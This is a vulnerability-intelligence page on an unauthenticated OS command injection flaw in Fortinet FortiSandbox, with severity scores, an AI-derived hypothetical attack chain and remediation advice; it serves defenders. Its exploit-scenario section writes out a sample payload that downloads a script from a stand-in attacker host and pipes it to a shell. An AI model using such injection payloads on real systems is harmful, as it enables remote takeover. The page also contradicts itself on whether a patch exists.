Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify exposed FortiSandbox interface
-
DeliverySend crafted HTTP request with command injection payload
-
ExploitExecute arbitrary OS commands as system user
-
ExecutionEstablish persistent backdoor access
-
ImpactExfiltrate threat intelligence data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Network-reachable FortiSandbox management interface on affected versions (4.4.0-4.4.8 or PaaS 21.3-23.4). CVSS vector AV:N/AC:L/PR:N/UI:N confirms no authentication required and low attack complexity against default configurations. Exploitation limited only by network accessibility - organizations with FortiSandbox deployed on isolated management networks or behind VPN authentication face reduced risk despite vulnerability presence. The incomplete CVE description (placeholder '<insert attack vector here>') indicates specific vulnerable endpoint/parameter not publicly documented, potentially limiting mass exploitation until reverse engineering or independent discovery occurs. No user interaction or privileged access required once network path exists. |
| Impact | Contradictory risk signals require careful interpretation. CVSS 9.8 indicates maximum exploitability (AV:N/AC:L/PR:N/UI:N) with complete confidentiality, integrity, and availability impact - textbook critical severity. However, EPSS 0.29% (53rd percentile) suggests exploitation probability lower than half of all CVEs, indicating researchers and attackers have not prioritized this vulnerability despite theoretical severity. SSVC framework confirms automatable exploitation with total technical impact but 'none' for exploitation status, aligning with absence from CISA KEV. This pattern suggests either: (1) limited FortiSandbox deployment footprint reduces attacker ROI, (2) network segmentation typically isolates sandbox appliances from internet exposure, or (3) the incomplete description (missing attack vector specifics) indicates late-stage disclosure with rapid patching before widespread discovery. Primary risk exists for internet-exposed FortiSandbox management interfaces or organizations slow to patch Fortinet advisories. The 53rd percentile EPSS despite maximum CVSS warrants investigation - verify whether management interfaces are actually reachable from untrusted networks in your deployment before deprioritizing based on low EPSS alone. |
| Exploit ScenarioDerived | Remote attacker identifies internet-exposed FortiSandbox management interface through Shodan or targeted reconnaissance. Attacker crafts malicious HTTP request to vulnerable endpoint, injecting shell metacharacters (e.g., '; wget http://attacker.com/backdoor.sh | sh #') into insufficiently validated parameter. FortiSandbox processes input without proper sanitization, executes injected commands with appliance privileges, establishing reverse shell to attacker infrastructure. Attacker pivots to exfiltrate sandboxed malware analysis reports, modify threat intelligence feeds, or leverage FortiSandbox's trusted network position to attack adjacent systems. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Apr 17, 2026
OS command injection in Fortinet FortiSandbox 4.4.0-4.4.8 and FortiSandbox PaaS versions 21.3-23.4 enables remote unauthenticated attackers to execute arbitrary system commands with complete system compromise. CVSS 9.8 (network, low complexity, no privileges) but EPSS 0.29% (53rd percentile) suggests limited real-world exploitation observed despite maximum severity score. No active exploitation confirmed (not in CISA KEV). SSVC framework classifies as automatable with total technical impact but no known exploitation. Fortinet PSIRT advisory FG-IR-26-100 available but description incomplete (missing attack vector specifics).
Earlier versions of this analysis (1)
OS command injection in Fortinet FortiSandbox 4.4.0 through 4.4.8 and FortiSandbox PaaS (versions 21.3 through 23.4) allows unauthenticated remote attackers to execute arbitrary commands or code via unsanitized input to vulnerable components. The CVSS 9.8 (Critical) score reflects network-accessible exploitation requiring no authentication or user interaction. No public exploit identified at time of analysis, though the vulnerability class (CWE-78) is commonly weaponized. Attack surface includes both on-premise FortiSandbox appliances and cloud-based PaaS offerings used for malware analysis.
RemediationAI
Apply Fortinet-released patches per advisory FG-IR-26-100 (https://fortiguard.fortinet.com/psirt/FG-IR-26-100). Specific fixed versions not provided in available data - consult advisory directly for exact upgrade targets for both FortiSandbox 4.4.x appliances and FortiSandbox PaaS service instances. For organizations unable to patch immediately, implement network-level access controls to restrict FortiSandbox management interface exposure: (1) enforce firewall rules permitting administrative access only from trusted management VLANs/jump hosts (blocks internet-based exploitation but reduces remote administration convenience), (2) require VPN authentication for all remote access to FortiSandbox interfaces (adds authentication barrier despite PR:N vector, though introduces VPN infrastructure dependency), (3) deploy web application firewall with command injection signature detection in front of management interfaces (adds detection layer but may cause false positives with legitimate administrative commands). Note that compensating controls reduce but do not eliminate risk since vulnerability exists in core command processing - patching remains the definitive solution.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
FortiSandbox is Fortinet's malware analysis and threat intelligence platform for detonating suspicious files in sandboxed environments. The vulnerability (CWE-78) arises from improper neutralization of special characters in user-controlled input passed to OS shell commands. Affected CPE strings identify both on-premise FortiSandbox appliances (versions 4.4.0 through 4.4.8) and FortiSandbox PaaS cloud service (versions spanning 21.3.4055 through 23.4.4374). EUVD tracking indicates 10 distinct affected PaaS builds across major version lines 21.x, 22.x, and 23.x. Command injection flaws typically occur when input validation fails to sanitize shell metacharacters (e.g., semicolons, pipes, backticks) before concatenating user data into system() calls, exec() functions, or similar OS command execution primitives. The CVSS vector confirms network-accessible attack surface with no complexity barriers.
Know when Fortisandbox gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (fortinet).
CVSS VectorVendor: fortinet
Lifecycle Timeline
5DescriptionCVE.org
A improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via <insert attack vector here>
Articles & Coverage 1
Executive ViewAI
CVE-2026-39808 is a critical unauthenticated remote command injection vulnerability affecting Fortinet FortiSandbox versions 4.4.0-4.4.8 and PaaS releases 21.3-23.4, allowing complete system compromise with a CVSS score of 9.8. Despite maximum severity, real-world exploitation remains limited (EPSS 0.3%), and no public exploit code or active exploitation has been confirmed, reducing immediate organizational risk. Organizations running affected FortiSandbox instances should prioritize inventory assessment and isolation planning while awaiting vendor remediation.
No vendor-released patch identified at time of analysis. Interim mitigations: implement network-level access controls to restrict FortiSandbox administrative access to trusted networks only; disable unnecessary services and APIs; increase logging and monitoring of system command execution; consider temporary decommissioning of non-critical FortiSandbox instances pending patch availability; maintain offline backups of FortiSandbox configurations.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Fortisandbox
View allUnauthenticated OS command injection in Fortinet FortiSandbox (on-premise, Cloud, and PaaS variants) allows remote attac
Path traversal in Fortinet FortiSandbox 4.4.0-4.4.8 and 5.0.0-5.0.5 enables remote unauthenticated attackers to achieve
OS command injection in Fortinet FortiSandbox allows an authenticated attacker with low-privilege credentials to execute
Unauthenticated remote access control bypass in Fortinet FortiSandbox 4.2.x through 5.0.x - and its Cloud and PaaS varia
Remote code execution in Fortinet FortiSandbox 4.4.x through 5.0.x (on-premises, Cloud, and PaaS deployments) allows una
Authentication bypass in Fortinet FortiSandbox and FortiSandbox PaaS allows remote attackers to execute unauthorized cod
An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability [CWE-79] vulnerabi
A client-side enforcement of server-side security vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.4, FortiSandb
A improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet F
A improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet F
Multiple instances of heap-based buffer overflow in the command shell of FortiSandbox before 4.0.0 may allow an authenti
An improper neutralization of special elements used in an OS Command vulnerability in FortiSandbox 3.2.0 through 3.2.2,
EUVD-2026-22338
GHSA-wfjv-vrx5-2cf2
NVD
CVE.org
CISA KEV
EPSS
Vulnrichment
VulDB
Exploit-DB